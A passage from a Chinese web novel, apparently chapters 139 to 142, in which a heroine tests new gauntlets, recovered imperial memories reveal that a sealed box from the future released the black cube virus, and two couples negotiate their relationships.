翻来覆去无法入睡的夜里,第五阙睁眼看天明。
给贺兰濯飞了无数封信,没有得到任何回应。
第五阙也坐着轮椅在长安城里找了一圈又一圈,从日升到日暮,只想当着贺兰濯的面对她说,你才是真傻,我要的从来都不是山。没有你的山头,山水无趣,落日寂寞,要来有什么劲呢?
所有美好,都得有你在。
得有你。
哭了几夜后,第五阙抹掉了眼泪。
贺兰濯将她保护得这般好,不是让她躲在被窝里哭的。
如果她是个特别可靠的人,贺兰濯不会倾尽所有来救她,满足她,然后独自离开。
贺兰濯肯定会留下,向她倾诉,一起商量对策的。
第五阙对自己说,别再当个废物。
要赚钱,要自立,要变得更厉害。
她要去找贺兰濯,告诉贺兰濯:所有的事我都摆平了,你不用操心任何事,更别再离开,只需要负责喜欢我就好了.
第五阙和沈逆一同养伤,互相督促着。
第五阙还教沈逆一些调息吐纳的方法,能助精力和体力更快恢复。
沈逆在修补自己,规划前路,与此同时,为第五阙专门打造的S级武器终于完成了。
断腿已经基本康复的第五阙听到沈逆送她的宝贝终于大功告成,兴冲冲地跑到工作室。
“在哪儿呢?给我看看给我看看!”
沈逆正在净手,下巴冲着工作台的方向点了点,“在那,试试看。”
第五阙兴致勃勃地走到工作台前,笑容挂在脸上,眼珠子忙碌地找了一圈又一圈,疑惑了。
哪个是我的宝贝啊?
沈逆净完手擦干净,回头一看,见第五阙正在拆她的机械臂。
沈逆:“干嘛呢你?”
“这不是你给我造的武器吗?”
“你看着它像你的武器吗?那是我工作用的机械助手。”
“那是哪个?总不能是工作台吧?”
沈逆也是纳了闷了,拎起一双金属拳套丢给第五阙:
“你这双水汪汪的大眼睛就没见着这儿还有一副拳套?”
第五阙接过拳套,也挺纳闷。
“我还以为这是你干活时戴的手套,工作完丢这儿了。”
“别小看它,这可是迄今为止除了逆芯之外,耗费我最多精力和财力的装备。”
金属拳套是露指的款式,通体是隐隐有光的玄色。戴上后有种神奇的皮革感,完全不觉得僵硬,手指活动起来也非常灵活舒适。
沈逆推来一个击打测试仪,自己先开了外骨骼战衣,用力一拳打上去,测试仪显示力量指数为一千零二十一。
沈逆:“你试试。”
第五阙活动活动手指,跃跃欲试。
“我是不是起码得两千起?”
“甭客气,用全力打,让我看看效果。”
第五阙准备出击的时候,沈逆还后退了一步。
这一拳出去第五阙还是略有收着力的,就怕已经好得差不多的伤口再次裂开。
谁知——
已经在侯府安顿下来的二姐正在茶斋里饮茶。
侍女为她倒了一杯特级白毫银针,二姐闻到那清甜的香味心旷神怡。
这侯府可真是个好地方,虽说她那六妹老是作妖作出烂摊子让她收拾,可也是托了六妹的福,她才能住进侯府。侯府里吃穿用度可都是天子赏下来的,外面有银子都买不到,二姐感觉自己被吊了大半天的罪没白受。
茶盏刚贴到嘴边,忽然轰隆隆的巨响裹着尘头迎面撞来。
二姐吓得直接蹿上了屋顶。
这是什么动静,列车撞进侯府了?
侯府塌了,但没完全塌,只是沈逆的工作室被第五阙一拳给毁了一大半。
第五阙惊怔,“我,都没用力呢……”
沈逆被落下来的灰土呛得连连咳嗽。
“看来我想的没错,再多再复杂的武器,都不及你本人实打实的给上一拳来得过瘾,痛快吗?”
第五阙欣喜地点头。
沈逆拍了拍她的肩膀道:“拳套我送你了,不过我的侯府你得负责修好。”
第五阙的笑容僵在脸上。
不是,这……
怎么就一拳打散架了,你们侯府纸糊的啊?
二姐端着茶壶和茶盏从屋顶上落下来,看到第五阙从一片废墟中走来,还问她:
“发生什么事了,怎么侯府突然塌了?”
第五阙没有直接回答她的问题,只问她:
“二姐,还想枕着我的腿吗?枕一整天的那种。”
二姐:?.
明日李司要参加登基大典的第一次预排,她却火急火燎地冲到了侯府,绛色龙袍在身,肩挑日月金龙盘身,进侯府时吓得府中侍女们一哆嗦。
就连沈逆看到李司这副装扮,刚吃进去的油炸地豆都差点喷出来。
沈逆:“你怎么……”
李司直接拽起她的手,“去你工作室,走,阿阙,你也来!”
三人杀到工作室,李司卷起宽袖亲自把门合上,拉她们坐下。
“你俩可坐稳了!”
李司龙袍上身真有点儿唬人,一声令下,第五阙稳稳坐着,忽闪着大眼睛,一副待她发落的模样。
沈逆翘着腿道:“陛下,有何事快放。”
李司双手撑在她俩身前的桌面上,旒上的玉珠在她眼前相撞,噼里啪啦地响,而李司的双眼瞪得比玉珠还圆。
“先帝的记忆模块修复了。”
沈逆和第五阙同时来了兴趣。
李司:“在看她的记忆之前,你们最好做好准备。”
沈逆知道李司不是胆小之人,能让她这般紧张又谨慎,还一再告诫,恐怕是想象不到的惊天秘闻。
沈逆:“有两个天子的事儿咱们都经历过了,还能比这更刺激?”
李司播放之时,回眸看向沈逆,脸上铺了一层让人胆寒的冷光。
“能。”
……
李渃元的记忆之旅,从至关重要的七岁开始。
年幼的她因为极为早熟且聪慧过人,被封为端王。
李渃元七岁的时候更是不得了,觉醒了双S级精神天赋。
这是帝王的象征,是李氏代代相传的天选帝王的标志,李渃元欣喜若狂。
李渃元兴冲冲地跑去找天子,无意间却发现先帝立了太子。
不是她。
是她那位弱冠之年的皇兄,一个平平无奇S级精神天赋者。
李渃元一直在殿外等待着,等待一个和天子单独相处的机会,告诉天子,她觉醒了双S级天赋,她才是帝国最当之无愧的储君!
她以为天子肯定会改变主意的,只要天子知道她现在的天赋无人能比。
可是,天子知道后也只是笑着摸摸她的脑袋道:
“元儿是朕的骄傲,可是元儿你太小了,还是个孩子。”
李渃元不解,“那又如何?我已经觉醒了双S级精神力了,那些比我年长的可有比我天赋高的?”
天子笑笑,没再和她争论,捻了一枚好吃的点心喂给她吃。
李渃元没吃。
自负的李渃元不明白,为什么她拥有绝世的天赋,却不立她为太子。
天子有天子的顾虑。
那时的唐Pro被另外两国联合倾轧,他自己又得了不治之症,太子虽没有双S级天赋,却也精明能干,能为天子分忧。
反观七岁的李渃元,只会怒气冲冲地过来质问他,徒添烦恼。
当时的国师,正是秦无商的师姐,第五隽。
第五隽与李渃元的母亲,那时的皇后走得极近。
皇后一直都很疼爱李渃元,怕战事将启,李渃元性命不保,如今她又觉醒了极其罕见的双S级天赋,想除掉她的人只会更多。
就在皇后忧心忡忡之际,第五隽向皇后献上了一只魔种,和李渃元一模一样的小魔种。
皇后好奇地拉着小魔种看了又看,惊讶不已,真是一模一样。
第五隽道:“这种魔种的寿命都不长,但起码外人很难分辨真伪。若让魔种在外行事,可防暗杀。”
皇后非常满意,拨了一大笔银子给第五隽,让她多炼几只魔种,以防不测。
第五隽得了巨赏,心满意足地继续捣鼓她的魔种去了。
而李渃元一直都没能死心,她渴望站上帝国的顶峰。
那时让她着魔的并非对权力的渴望。
七岁的孩童,即便是天才,也未必向往权力。
是不服输的心气儿在日日夜夜折磨她。
不甘人后,是每个天才的命运和梦魇。
一次非常偶然的机会,李渃元偷听到太子和其生母的对话。
太子:“胶囊里面还有一个小盒?”
“对,从未来世代送来的胶囊之中,除了科技和能源之外,还有一个封印的小盒。这件事除了李氏皇室,没有任何一个人知晓。”
太子听到此事也非常意外。
“小盒里是什么?”
“不知道,五百年了,没人打开过盒子。我听说那胶囊藏在最高研发署里,五百年国祚,三十六任皇帝,没有一人敢开启那个恐怖的魔盒。”
“恐怖的魔盒?为何这样形容?”
“据说那魔盒里蕴藏着不可控的巨大能量,是让先祖们梦寐以求的宝物。先祖们都想打开,却不知为何无人敢开。这件事我也是听太后说的,但是,现在,你得去开启它。”
太子吃了一惊,“我?”
生母拉着太子的胳膊说:“你父皇的病随时都有可能夺走他的性命,不然你道他为何这么匆忙立太子?而那小兔崽子觉醒了双S天赋,你父皇觉得她年纪尚小,还是属意你。可若再过几年,她长大了,就不一定了。
“那个盒子里藏着这个时代最大的秘密,皇室最深的渴望,你父皇也非常想知道里面究竟是什么,但他不敢开。若你帮他打开了,他一定高看你一眼。说不定真是用之不竭的能源,那你可是立下不世之功了啊!”
太子道:“可你也说了,那是不可控的巨大能量,万一失控,真的造成巨大的灾难怎么办?”
“那就再收回去就是了,还没听说过放出来收不回去的道理。”
太子犹豫道:“我,我再想想。”
这些话好巧不巧被李渃元听去了。
李渃元在背地里笑话他,真是胆小如鼠,连盒子都不敢看一眼,便这样放弃了。
李渃元想着,若是她能将那历任天子都不敢开的神秘魔盒打开,父皇还会觉得她只是个孩子么?
她要让父皇知道,太子根本不配与她相提并论。
皇后知道她要去触碰禁忌之盒,并不赞同。
可李渃元一心坚持。
“母后,这或许是我夺回储君之位最好的机会了。”
皇后拗不过女儿,只能提议,若真的要开,不如让魔种去开。
既能知晓那里面到底是什么东西,也能以防万一。
第五隽尴尬地说:“可是,魔种不会用手。”
皇后:“那挑个侍卫去。”
李渃元觉得母亲的担忧可笑万分。
“随意挑个侍卫也太冒险了,皇室机密万一泄露,父皇追究起来岂不是得不偿失?况且这么危险的盒子,除了我没人能镇得住。既然要向父皇证明我的天赋,便没有造假的必要。”
李渃元轻漫道:“还是由我亲手来开吧。”
第140章
李渃元的记忆播放至此,沈逆和第五阙的脸色已然僵硬苍白。
即便已是第二次观看的李司,神色依旧凝重。
第五阙喉头动了动,“所以,禁忌的魔盒里就是,黑魔方……”
沈逆:“我早就觉得那颗来自未来的胶囊非常古怪,原来,黑魔方就是它带来的。但时间不太对。黑魔方是我出生那年开始出现,此时距离我出生还有十几年。”
李司:“接着看。”
陈旧的记忆在继续播放。
皇后依旧不太赞同李渃元想要亲手打开魔盒的想法,总觉得这件事情过于危险。
而且太子和他生母那方对话也令皇后生疑。
皇宫那么大,如此机密之事为什么偏偏就让李渃元听见了?
“元儿,那是陷阱,诱导你涉险的陷阱。你听母后的话,千万不要冲动。再忍耐几年你就及笄了,到时候有无数种方法能把太子拉下马,何必急于此刻?”
李渃元明白皇后的担忧。
“可是母后,你有没有想过,万一父皇在我及笄之前就……”
“驾崩”二字太忌讳,李渃元没说出口。
李渃元:“等到他登上帝位,培植了更多党羽,根基稳固,只怕连我们后悔的机会都不会给。若我是他,登帝第一件事就是剪除后患。”
皇后明白她说的有理,只是心中忐忑,依旧劝着她。
李渃元已经下定决心了。
在她心里,皇后实在太胆小,不是个能行大事之人,所以之后的计划她也只跟第五隽共谋,并让第五隽不要告诉皇后。
第五隽其实很矛盾,毕竟给她拨银子的是皇后,她效忠的也是皇后。
在她看来,李渃元的确就是个半大的孩子,行事太冒险。
可是,李渃元不知何时与师妹交好,成日带师妹出去玩耍,锦衣玉食地让师妹喜欢她喜欢得要命,睡觉的时候都念叨着端王姐姐有多好。
第五隽明白,那是精神天赋者最喜欢用的精神控制,也是对她的警告。
要是她不听话,一定会对师妹下手。
第五隽别无选择。
李渃元在第五隽的帮助下得到了最高研发署的权限,顺利进入藏着胶囊的房间。
终于看见了那禁忌魔盒。
看到此处,沈逆等人都忍不住往前挪了一下身子。
李渃元的目光聚焦在魔盒之上,仔仔细细观察了许久,可以看出她对魔盒还是很谨慎。
这是个方形小盒,普通魔方大小,只是表面上没有任何的格纹,也不能拧动。
李渃元拿在手中翻转了几次,想要找到打开的锁扣,一时没有找到。
当李渃元的手触碰魔盒十息之后,魔盒像是被体温激活,表面上浮出一排简化的文字。
【这是一个会带来灾难的禁忌之盒,它拥有毁天灭地的力量,不可打开。】
李渃元和第五隽相视一眼,第五隽紧张地抿了抿唇。
这行字消失之后,又浮现了另外几行字。
【正因为是极端恐怖的能量,所以我们只能困住它五百年。】
【我们给予了你们想象不到的科技和能源,提供了巨大的财富,但所有的幸福都需要付出代价。你们的富甲一方,战无不胜,这一切都不是免费的。】
【希望五百年的时间足够让你们研制出控制它的方法。】
【还是那句话,祝你们好运,愿勇气和幸运永远与你们同在。】
阅闭这几行字,李渃元的目光长时间地凝滞。
和此刻投影前的三人一模一样。
竟是这样,这也太讽刺了。
爆炸式发展的科技,天赋的觉醒,梦幻的乌托邦,竟是一场彻头彻尾伪善的骗局。
第五阙骂了一句脏话道:“原来未来世代的人无法消灭,甚至不能永远禁锢黑魔方,就把它打包送到我们这个时代来了?还大言不惭地说给我们提供了巨大的财富?还祝我们好运,结果所有的厄运都是由他们带来的!”
沈逆道:“我之前就觉得奇怪,我们这个时代科技水平不算落后,说句厚脸皮的话,我们的科技水平已经登峰造极,却没有能够破解时空穿梭的技术。我曾经试过造一台时空机器,失败了。那次失败更让我明白时空穿梭的技术有多困难,即便破解了时空穿梭的谜题,想要穿梭一次时空也需要耗费巨大的财力。可这些素未蒙面的子子孙孙却舍得把他们的技术和能源传入我们的时代,只是为了让我们吃饱穿暖,成为时代的霸主?是不是太孝顺了一点?”
李司已经摘掉了碍事的冕。
“所以,未来世代那些不肖子们是打着帮助我们发展的幌子,投放有毒垃圾。”
第五阙:“岂止是有毒垃圾,简直是生化武器。魔盒上的警告这么骇人,李渃元居然还敢打开?”
沈逆明白了,“五百年。他们说,只能困住它五百年,而我们国祚也差不多五百年,李渃元幼时正好卡在五百年的时间即将到达的节点。”
沈逆深吸一口气,竟是这样。
“李渃元别无选择。”
那些字消失后,出现了一排数字。
【000Y:03H:08M:43S】
一秒一秒在倒计时。
对未来世代的时间格式非常熟悉的众人都看懂了。
当李渃元拿起魔盒时,五百年的时间只剩下三个小时。
从李渃元目光凝滞在倒计时的整整一分钟的时间里,可以揣度出她当时不安且犹豫的心境。
再过三个小时,那禁忌的恐怖力量就要破开封印,在沉睡中复活。
李渃元居然发现了天大的秘密,在无意间踏上了一条无法后退的绝路。
第五隽在她身侧,她看到的所有第五隽也看到了。
第五隽的冷汗在往下淌,“殿下……”
李渃元的情绪从忐忑中慢慢缓解,意识到自己忽然站在了人类文明的转折点上,没有任何退路。
心跳在不受控制地狂跳,说不心悸是不可能的。
但是,若只剩三个小时它就会自动解封,还有什么好等。
三个小时,一个半时辰,能做什么?
说服她父皇和一众老朽恐怕都来不及。
李渃元闭上了眼,不必再等了。
李渃元继续探索着小盒,当她的指尖从倒计时上连续划过时,倒计时缩小到下方,一行字放大在她眼眸里。
【是否解锁?】
【是/我再想想】
李渃元没再犹豫,开启了禁忌的魔盒。
和三十多年后观看这段记忆的人所想一致,李渃元开启的禁忌魔盒中封印的就是黑魔方本体。
魔盒开启,黑魔方本体呼啸着冲向李渃元的身体,像一阵飓风把她身旁的第五隽也刮倒。
李渃元感觉自己的玉璧在疯狂地震颤,从皮肤之下刺出黑色的金属尖牙,左手瞬间被拧断。
李渃元立刻以精神力压制,而第五隽后背上已经刺出无数的黑色乱体,她在恐惧中跑出最高研发署。
那时的她们都不知道这是何物,也不知道黑魔方是病毒,会感染一切金属和机械。
李渃元在混乱的思绪中察觉到了有种逐渐要失控的力量想从她的体内挣脱。
不行,若是被它逃走,一定会感染别人。
她这个双S级天赋者都难以对抗,何况是其他普通人?
那的确会是帝国末日,文明的尽头。
她得控制住这邪祟,不让它离开。
她可以,她是李渃元。
李渃元闭门不出,连皇后都不见,日日夜夜透支强大的精神力控制着乱体横生。
不知熬了多少个日夜,等到她暂时压制住乱体,站到镜前,发现自己一半的身子已经被拧得乱七八糟,她成了只怪物。
她不能以这副模样出现在父皇和众人面前,不然她登帝之路将会彻底化为泡影。
就是在那一刻起,第五隽为她炼的魔种正式登场。
第五隽先前为她炼了四个魔种,每一个都惟妙惟肖,可是第一个魔种用了三个月就开始咳嗽,走路莫名其妙摔倒,一查看,腿断了。
皇后隔着帷帐对李渃元道,国师说过这种魔种寿命都不太长,没想到竟只能用三个月!“
李渃元:“不必惊慌,还有三个魔种,只要找到国师,让她再炼出更多的魔种就行。”
“可是,我已经找了很多日,到处都没有她的踪影,你说她会不会已经……”
第五隽只是个S级机械师,恐怕真的无法对抗。
李渃元没接皇后的话,只说:“继续找,一定要找到。”
后来的确找到了第五隽,只是她已经死了。
死的时候尸首面目全非。
李渃元把第五隽的尸体埋葬时,对自己发誓:
只要我还活着一日,就不会让身体里的那只怪物出现在世人面前。
我要保护我的子民。
李渃元就这样,一面用精神力日夜不停地对抗着黑魔方,一面继续谋划登基之路。
她从未放弃过登上皇位。
如今她付出了惨重的代价,更是不可能放弃。
李渃元是后来才知道,原来第五隽被感染的那日奔回家,想以师门之术控制乱体。
第五隽的师门是符丹双修,以符和丹药来增进天赋。
第五隽想用大量的符纸控制黑魔方,可惜无法压制,还感染了刚刚做完心脏搭桥手术的小师妹,也就是秦无商。
秦无商那时还是个婴儿,初代黑魔方并不似后来会立刻让人异兽化,她在感染初期也只是身上出现黑色的乱体,毁了容貌。
目睹第五隽之死,唯恐帝国正在爆发一场恐怖的传染病,师门其他两位师姐打算连夜带着秦无商离开唐Pro,前往弦昼国避祸。
路上被皇后派去的人拦截,本想把她们全都抓回来,却失败了,人跑了,但唯一庆幸的是,第五隽一直用来炼魔种的炼丹炉被抢了回来。
魔种太脆弱,而第五隽死了,没人能炼魔种,长此以往只剩下三个的魔种转眼就会用尽,到时候李渃元该怎么办?
李渃元道:“不就是个炼丹炉,我来钻研,自然也会用。”
李渃元的确聪明,即便是跨行研究炼丹炉,依旧被她掌握了使用的窍门。
剩下的三只魔种反复进入炼丹炉中修修补补,还真坚持了三十多年。
只是,黑魔方在她的身体里越来越强壮,她登基的那年正是最春风得意之时,却乐极生悲,黑魔方趁她疏于防备,将一部分支从她身体里逃走。
就此开始了长达二十多年的作乱。
之后的李渃元在漫长的痛苦中,再回想当年事,即便再心高气傲,她也不得不承认一件事。
的确是上当了。
已过世的母后说的对,她被太子母子骗了。
当时她的确太幼稚,太自负,太自以为是了。
可即便不上当,到了时间魔盒依旧会开启。
幸好是我开的。
李渃元活在阴暗的世界里,眷恋地看着晚霞时,是欣慰的。
换成其他任何人,都不可能控制黑魔方长达十多年。
十多年间,有人在宠溺中长大,有人遇见了毕生挚爱,有人携手长眠,她在极端的苦痛中给予了子民们无声的庇护,度过了此生最最幸福的时光……
投影结束。
李司道:“很多记忆都无法恢复,不过重要的信息基本保留下来了。”
沈逆原本觉得李渃元是个狂妄的天才,是个阴谋家。
但看完她的记忆,心情却变得复杂。
沈逆道:“陛下,微臣有个不情之请。”
李司:“能不说这些见外的话吗?我知道你想说什么,祭祖大典之前,我会把先帝真正的遗体一同敛进棺木内,让她永眠于皇陵,享万世祭奠。”
……
大忙人李司放完投影就走了,沈逆和第五阙坐在茶盏喝茶。
第五阙调侃沈逆,“以前以为你是个凉薄之人,没想到还有些古道热肠。”
沈逆抿一口茶道:“别恶心我了。”
第五阙嘿嘿地笑。
沈逆知道自己是个什么样的人。
在大门派里长大的孩子自小就识人无数,加上她本就早慧剔透,人心善恶瞧上一眼,八.九不离十。
虽她本性薄凉,但谁对她好她都会记在心上。受师姐的影响,好人遇难她总想伸手帮一把,遇到恶人也忍不住使点绊子。
她没有做救世主的心,只是单纯凭喜好行事,师姐的准则是她喜好的基石。
如今这颗铁石心肠倒是被师姐越泡越软,师姐不在的时候,遇到事儿她总是会想师姐若在此地,师姐会怎么做,下意识地模仿师姐。
师姐,此时此刻,你身处何处?
想起师姐,漫天灿烂的晚霞都像一片干涸的猩红。
……
这几日曾倾洛早出晚归,沈逆没问也知道,她是去照看李极。
口中不言,行动已经说明一切。
再回忆先前有段时日总是联系不到曾倾洛,还见她心率时常高到不正常,沈逆才明白自己有多傻。
曾倾洛又要出门,正好和沈逆打了个照面。
沈逆提了提嘴角,道:“注意安全,早点回来。”
曾倾洛也尴尴尬尬道:“好……”
曾倾洛离开侯府之时,侯府不远的一处华楼上,贺兰濯撑起身子,忍着剧烈的头痛,放下望远镜。镜中正在侯府院中练拳的第五阙的身影也暂时从她的眸底消失。
贺兰濯又一次无声地跟在曾倾洛身后。
140-150
第141章
不得不说,小探子有些本事。
贺兰濯跟了她几次,都被她甩开了。
今日再跟,却在一个小巷子的拐角处和曾倾洛面对面。
贺兰濯歪歪斜斜地靠在墙边,双臂抱在身前。
“挺警觉。”
曾倾洛不太明白贺兰濯为何要跟着自己,提防是本能,而且她的义体已经被沈逆彻底修复了。
曾倾洛道:“是因为节度使你受了伤还没恢复,这才会被我发现。”
贺兰濯的确精神不济,精神力超量释放的巨大后遗症一直折磨着她,头痛欲裂的问题无法解决,最有效的止疼药都只能给她不到一个时辰略微舒适的时间。
剧痛总是忽然来袭,夜里无法入睡,昼时昏昏欲睡,这种状态非常难熬。
但一想到第五阙安全地和她的好友在一起,贺兰濯便觉得挺值,便能忍受了。
数日前。
贺兰濯左眼的视力一直没能恢复,去找过黑医故渊,想让故渊帮她看看眼睛。
故渊在她摘下护目镜之前提醒她,“你可别对我有任何敌意。”
贺兰濯懒得多说,摘下护目镜,呈现在故渊面前的便是一双“鸳鸯眼”。
两只眼睛瞳仁的颜色全然不同。
右眼闪着极其漂亮的琉璃光,摄人心魄,左眼则漆黑无神。
故渊被她的右眼吸引,仿佛被那琉璃光摄了心魄,移不开眼神。
故渊痴迷道:“节度使大人,能不能与我签个协议?待你死了,眼睛送我珍藏。”
贺兰濯闭上眼,“你治不治?”
她双眼一阖,故渊醒转般浑身微颤,意识到方才贺兰濯并没有要催眠她的意思,只是普通的对视,竟为之着迷了。
高等级的精神天赋本就不讲道理,贺兰濯这种异化型,还是稀有的精神天赋中最为稀有的那一拨,潜力无穷,连她本人都难以自控。
故渊取来一副特殊的眼镜,能有效隔挡一部分精神力。
“有银子我为何不赚?来,睁眼吧。”
贺兰濯再次睁开眼睛,没再看故渊,目光落在另一侧。
“左眼这种状态多久了?”
贺兰濯:“两日。”
左眼对任何刺激都没有反应,故渊道:
“应该是瞎了。我这儿有义眼,给你打个九折,需要的话我现在就为你更换。”
贺兰濯心烦地闭上眼,拎起斗篷就要走。
故渊转动着轮椅,面朝贺兰濯的背影道:“别走嘛,你说你这脾气,八五折行不行?不能再低了。”
贺兰濯就要推门,故渊叹了一声,收起了混不吝的语调。
“异化型精神天赋最显著的标志便是器官的异化。你的双眼的状态可以直观地反应你的精神状况。除非你的精神力还能回来,否则眼睛是不可能恢复的。不仅不能恢复,还有可能影响你的右眼,继而危及生命。但以你现在的状态,别说恢复精神力,就是大脑也要保不住了吧?玉璧呢,我估摸着报废进度已经超过百分之五十了。节度使大人,我是想做生意,但我说的治疗方案也没任何问题呀,换义眼是你保命的最好途径。”
贺兰濯开门的动作略略一顿。
故渊摊开双手,无奈地笑道:“为什么要逼人家说实话呢?实话多残酷。”
贺兰濯立在门边,慢悠悠地回身。
“首先,我没钱换义眼。”
故渊遗憾地“噢”了一声。
贺兰濯:“其次,更换了义眼后,它就再也不可能复原了。”
故渊点点头,“的确,精神力会消减一半,大概会从S级精神力掉到B级吧。但你能活下来。”
贺兰濯下巴微抬,“作为废物活下来,不如去死。”
贺兰濯毫不留恋地推门离去,她自然看不到,故渊一贯夷然不屑的神情有了一丝松动。
故渊看着她离开的方向道:“还真是个烈女。”
要是贺兰濯的精神力没有受损,曾倾洛肯定无法发现她。
而现下两人面对面,场面有点好笑。
曾倾洛并不和她冲突,寻了一处食肆坐下,点了碗汤饼慢悠悠地吃着。
意思便是贺兰濯若是继续跟着,她便不去找李极了。
汤饼刚刚上桌,贺兰濯坐到她对面。
“向知番也在找李极,他拥有两种S级精神天赋,追踪的本领可比我大得多。你们倒是藏得挺好,不过也只是逃避一时。与其担惊受怕东躲西藏,不如彻底解决问题。从今往后你俩便能踏实过日子,不好吗?”
曾倾洛忽然意识道:“当初催眠我救走李极的人,是你。”
贺兰濯没否认。
“当初我是迫不得已才对你动手,若你心里不平……”
她从后背抽出一把伞,递给曾倾洛。
“现在打回来。”
曾倾洛没接那把伞,看向贺兰濯。
“你说彻底解决问题,如何解决?”
贺兰濯:“我要见李极,当面和她谈。”.
长安城启动静默模式之后,城门紧闭,但并不代表完全没人通过城门进入或离开。
即便金吾卫一查再查,但总有城外人倾家荡产,从不可言说之处买到入城资格,偷渡城内。
暗网上偷渡长安城的名额已经炒至天价。
新帝尚未登基,城内混乱正待治理,各坊各院落大门紧闭,外人一律不让入内。
城东有个怀源书院,书院的学生全都是精神天赋者,是长安城精神天赋者学习和交流之地。
书院的院长和曾倾洛故去的阿娘自小在一个坊间长大,曾倾洛进入双极楼之前,院长还看这孩子可怜,收留过她一些时日。
后来曾倾洛长大自立了,回来看过他好几回。某次拜访,还救了院长夫人一命。
所以这次曾倾洛带着李极等人登门,希望院长能借她们暂住几日,即便是特殊时期院长也没二话,让人收拾出了一间舒适的小院,李极暂住于此,武卫们就在院外隐秘之处扎营。
曾倾洛之所以选择怀源书院,正是因为它的特殊性。
在充满精神天赋者的大书院内,李极的精神力便不好被探查到,即便向知番追到附近,能不能感知到她暂且不说,即便感知到了,想要闯入长安城的四大书院之一,也不是件容易事。
向知番此时正在被南衙十二卫通缉,曾倾洛只希望南衙十二卫能够早日抓到他,那便能稍微安心一些。
曾倾洛踏着青砖石阶来到院前,推开院门,一眼便看见李极坐在院子里画画。
笔尖悬在纸面,不知在想什么,院门开启的声音将她的思绪拉回。
看曾倾洛来了,李极放下画笔,笑着快步走到她面前,握住她的手娇声道:
“来得好晚啊……”
曾倾洛:“我没说要来。”
“但还是来了啊。”
李极笑颜灿烂,甚至温柔。
能看出她见到曾倾洛是打心底里开心。
曾倾洛冰冷的手在她的掌心里慢慢回温。
李极问:“用膳了没?”
曾倾洛摇摇头。
“你来。”
李极拉着她到饭厅,小小的饭厅都不及帝国客栈顶层的玄关大,李极却很喜欢这儿。
拉开廉价的椅子,把曾倾洛摁上去,随后端了两盘菜放到擦得一尘不染的桌上。
曾倾洛:“我不饿。”
李极依旧笑着,“那就只尝一口。”
有种奇异的错位感。
无论是出现在这简朴小屋里的李极,还是她温和的说话方式,都让曾倾洛不太适应。
李极坐到对面,单手托腮等着欣赏曾倾洛的表情。
曾倾洛捏着箸,看向左边那盘菜,问道:“炒木耳?”
李极脸色一黑,“……这是炙羊肉。不过是料放多了一点罢了。”
曾倾洛夹了一箸,放入口中。
李极迫不及待问她,“怎么样?”
曾倾洛面不改色道:“没想到你还会做菜。”
“不会,反正闲来无事,学着玩。”
李极没说,她是听见书院的学生们在那儿说小话,说给心上人做顿可口的饭菜,便更容易虏获对方的心。
听到的当时李极心里不屑。
呵,无聊的小把戏。
转头就让康逸去买了食材。
康逸将菜买回来后也没走,李极还问他:“有事?”
康逸:“我多陪殿下一会儿。”
李极:?
康逸:“万一庖厨走水,属下也能及时解救。”
康逸被踢走后,李极这双执笔之手,第一次拿上了锅铲。
烹饪这事儿看着简单,实则想要做好并不容易。
李极做了一盘炙羊肉,又弄了一盘醋芹。
本来还有一锅鱼汤,可惜放盐的时候一不小心手抖,整个盐罐都掉到汤里,彻底没法喝了。
不过眼前这一荤一素的搭配也应该够吃。
李极又招呼曾倾洛吃醋芹。
曾倾洛方才好不容易不露痕迹地吃完那口膻味十足又柴得难以下咽的羊肉,显然对这盘醋芹心有畏惧。
可李极这般开心,曾倾洛自觉不是个喜欢破坏气氛之人,便吃了一截。
即便做好了准备,依旧被那酸劲直冲天灵盖。
曾倾洛捏着箸的手指泛白。
是醋芹没错,可谁能想到酸成这样。
李极见她表情不对劲,意识到了什么,提箸也要尝尝。
曾倾洛勉强从那酸劲之中缓过神来,阻止她道:“你就别吃了。”
真要吃出什么问题,还得留一个人喊救命。
李极得对自己的厨艺心里有数,回头也好改正进步。
可惜这一口醋芹下去,想要继续在庖厨修炼的决心和牙一块儿倒了,对着脑门连拍带打,好不容易把那冲击性十足的酸味给拍下去。
脸色发绿的李极转身把两盘菜都倒了。
别说虏获对方的心了,这得直接扼杀对方的心。
见李极对自己失望至极,曾倾洛只能安抚她道:
“人无完人,你不会做饭很正常。”
曾倾洛不过随口一句场面话。
被自己惹恼的李极却觉得曾倾洛在哄她——
原来在她心里,我其他方面都很完美。
李极暗暗开心,嘴角的笑容比秤砣还难压。
曾倾洛心思却全然在别处,想了想,还是决定跟她说。
“李极……”
“你就不能叫我裴寂吗?”
曾倾洛并不想和她争这事,只道:“我来时遇到了贺兰濯。”
李极的笑容敛起,“哦”了一声:“怎么?她在四下寻我?”
贺兰濯被安王府威胁的那些年里,李极可没少迫害她。
现在李极落了难,贺兰濯想要报复回来也很正常。
“对。”曾倾洛道,“她说想见你,有事与你商议。”
“商议何事,她可有与你说明?”
曾倾洛将贺兰濯的话复述一遍,“说是与向知番有关的事,想与你合作。”
李极指尖轻轻在桌面上移动,沉思了片刻似乎想明白了某件事。
曾倾洛道:“你可要见她?”
李极有些魂不守舍地说:“可以,但……明日吧。”
曾倾洛点了点头道:“那我向她传达。”
“不用了,我自己联系她。”
曾倾洛“哦”了一声后,两人难得陷入怪异的沉默。
曾倾洛对这份沉默很陌生,好像她和李极在一起的时候从来没这么安静过。
不是被她吻着就是被她咬,不是在怨憎,就是委屈落泪。
爱怨痴缠,浓愁烈情。
此刻她从李极沉思的眼瞳中察觉到了某种决断。
竟让她不安。
曾倾洛道:“那没别的事,我先回去了。”
曾倾洛还未起身,李极就拉住了她的衣袖。
“今晚就不能不走么?”
熟悉的委屈和撒娇,但说不上来为何有一丝不同。
李极那双眼中藏着她暂未读懂的愁绪。
曾倾洛踌躇着,最后没忍心拒绝,只道:“我,同我小师姐说一声。”
夜深。
怀源书院一直到很晚都亮着灯,时不时能听到学生们从小院边走过的声响。
小院简陋,谈不上隔音,曾倾洛被李极抱着格外忐忑,就怕她又会和上次在婚房内一般无赖。
没承想李极全程只从后面抱着她,眷恋地揽着她的腰肢。
除了双臂紧到快要喘不上气,没做任何亲密之事。
“李极……”
李极指尖压在曾倾洛手背的指骨上。
“叫我裴寂好不好?”
微凉的夜,细碎的人声,炙热的体温。
被身后人用力抱着,热切地需要着,这份感受像漩涡,将曾倾洛的心卷进无法呼吸的深潭。
“……裴寂。”
淡淡的两个字,让李极眼尾发烫。
像走了很长的夜路,在荒莽间蹒跚,终于看到了家。
闭上眼,将她的宝贝抱得不留一丝缝隙。
她又可以是裴寂了。
第142章
次日,贺兰濯来到小院。
人带来了,曾倾洛想离开,让她俩私下谈。
